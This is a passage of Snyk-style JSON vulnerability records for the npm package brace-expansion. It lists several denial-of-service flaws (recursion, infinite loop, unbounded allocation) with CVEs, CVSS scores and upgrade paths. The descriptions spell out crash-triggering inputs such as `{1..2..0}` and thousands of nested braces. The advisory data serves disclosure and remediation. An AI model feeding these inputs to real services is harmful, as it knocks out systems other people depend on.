"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
